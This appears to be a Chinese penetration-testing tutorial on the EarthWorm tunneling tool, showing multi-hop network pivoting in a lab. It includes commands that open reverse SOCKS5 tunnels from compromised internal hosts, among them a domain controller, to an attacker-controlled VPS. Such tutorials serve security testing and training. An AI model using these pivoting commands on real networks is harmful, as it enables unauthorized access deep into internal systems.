常见的网络场景
- 服务器在内网中,可以任意访问外部网络
- 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接
- 服务器在内网中,对外只开放了部分端口(80端口),且服务器不能访问外部网络
例如如下为常见的内网渗透测试环境
简介
EarthWorm简称EW,是一套便携式的网络工具,具有SOCKS5服务架设和端口转发功能,可以在复杂的网络环境中实现网络穿透。EW能够以正向、反向、多级级联等方式建立网络隧道。EW在实战中也是隧道搭建应用最多的一种隧道工具之一。
socks代理和端口转发的区别
端口转发工具(lcx.exe)的工作原理:是将两条socket隧道对接起来,打造一条可"异步双向通讯"的转接隧道。
socks代理的工作原理:当我们访问一个网站时,浏览器会先发送一个被访问目标的基本信息(URL和服务端口)给socks服务端,socks服务端解析了这个信息后,会代替浏览器去访问目标网站,并将访问结果回复给浏览器端。
socks代理功能的核心:帮他人完成socket访问网络,当我们通过代理服务器访问一个网址时,socks服务器其实是起了一个中间人的身份,它分别与双方(B/S)通讯然后将获取到的结果告知另一方。
socks代理和端口转发的异同点
- socket端口转发无需通讯协议支持,而socks代理需要socks协议支持
- socket端口工作方式不一样
- socks代理一对多,端口转发一对一
一级网络环境
现在我们的测试环境是:左侧内网中的一台个人计算机和一台公网IP的VPS,右侧是一个小型内网。假如已经获得一台Web服务器的权限,由我们控制的Web服务器是连接外网和内网的关键节点,内网其他服务器之间均不能直接连接。这里顺带说下,正向代理是指主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。
正向SOCKS5服务器
正向连接适用于目标机器拥有一个外网的IP地址的情况
我们直接在目标机器上输入如下命令,因为我的web服务器为ubuntu
./ew_for_linux64 -s ssocked -l 1070
我们使用SocksCap64代理工具检测到隧道是否搭建成功
反弹SOCKS5服务器
这种情况适用于目标机器没有公网IP地址,我们使其可以访问内网资源
在我们的VPS上执行如下命令,该命令的意思是在公网VPS上添加一个转接隧道,把1008端口收到的代理请求转发给888端口
./ew_for_linux64 -s rcsocks -l 1008 -e 888
然后在我们的内网主机上执行如下命令,该命令的意思是在该web服务器上启动socks5服务,然后反弹到我们的VPS的888端口上
ew -s rssocks -d VPS的IP地址
隧道建立成功
二级网络环境(a)
现在的测试环境是主机A配有两块网卡,一块能访问外网,另一块只能访问数据库服务器,无法访问内网中的其他资源。但数据库服务器内自由访问内网资源。配置这个网络环境只需在B主机的防火墙开启服务通行,域控和数据库服务器防火墙禁止A主机访问就可以了
首先我们将EW上传到B主机上,利用ssocksd方式启动888端口的SOCKS代理
ew_for_Win.exe -s ssocksd -l 888
然后将EW上传至A主机上,命令的意思是将1080端口收到的代理请求转发给B主机的888端口
sudo ./ew_for_linux64.exe -s lcx_tran -l 1080 -f 192.168.108.104 -g 888
通过访问A主机的外网1080端口使用在B主机上架设的SOCKS5代理
二级网络环境(b)
测试环境是:假设我们已经获得主机A和主机B的权限,但是主机A既不能访问外网,也不能访问内网,主机B能访问内网,但是无法访问外网。我们只需在前一个配置上将主机A的外网网卡去除即可
首先我们在我们的VPS上执行如下命令,该命令是指在公网VPS中添加转接隧道,将10800端口收到的代理请求转发给888端口
./ew_for_linux64 -s lcx_listen -l 10800 -e 888
然后在主机B中,以正向代理的方式启动999端口
ew_for_Win.exe -s ssocksd -l 999
在主机A中执行如下命令,命令是指在主机A上使用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来
sudo ./ew_for_linux64 -s lcx_slave -d VPS地址 -e 888 -f 192.168.108.104 -g 999
访问VPS的10800端口使用架设在主机B的SOCKS5代理
三级网络环境
三级网络环境在渗透中比较少见,大多出现在一些金融项目中。首先我们的测试环境是:内网主机A没有公网IP地址,但可以访问外网;B主机不能访问外网,但可以被主机A访问;C主机可被B主机访问,而且能访问核心区域
首先我们在VPS上执行如下命令,将1080端口收到的代理请求转发给888端口
./ew_for_linux64 -s rcsocks -l 1080 -e 888
在主机A上执行如下命令,将公网VPS的888端口和B主机的999端口连接起来
./ew_for_linux64 -s lcx_slave -d VPS地址 -e 888 -f 192.168.108.104 -g 999
在域控上启动SOCKS5服务,并反弹到B主机的777端口上
ew_for_Win.exe -s rssocks -d 192.168.108.104 -e 777
通过访问VPS的1080端口可访问域控上架设的SOCKS5代理
总结
最后我们来总结一下EW
的一些参数,因为EW在实战中应用得比较广泛
参数 | 作用 |
---|---|
-s | 设置代理的连接方式 |
-l | 设置本地的监听端口 |
-e | 设置要转发给哪个端口,一般作用为外网主机 |
-d | 设置要将代理请求转发给哪台主机(一般为外网的VPS) |
-f | 设置要将代理请求转发给哪台主机(一般为内网的主机) |
-g | 设置要转发给哪个端口,一般作用为内网主机 |
rcsocks | 在外网VPS主机上设置反向代理 |
rssocks | 在内网主机上设置反向代理 |
ssocks | 在目标机器上设置正向代理 |
lcx_tran | 设置本地端口映射,一般用在能访问内网不能访问外网的主机上,配合-l参数使用 |
lcx_listen | 设置监听的本地端口,配合-l参数使用 |
lcx_slave | 设置你要监听的远程主机,配合-d参数使用 |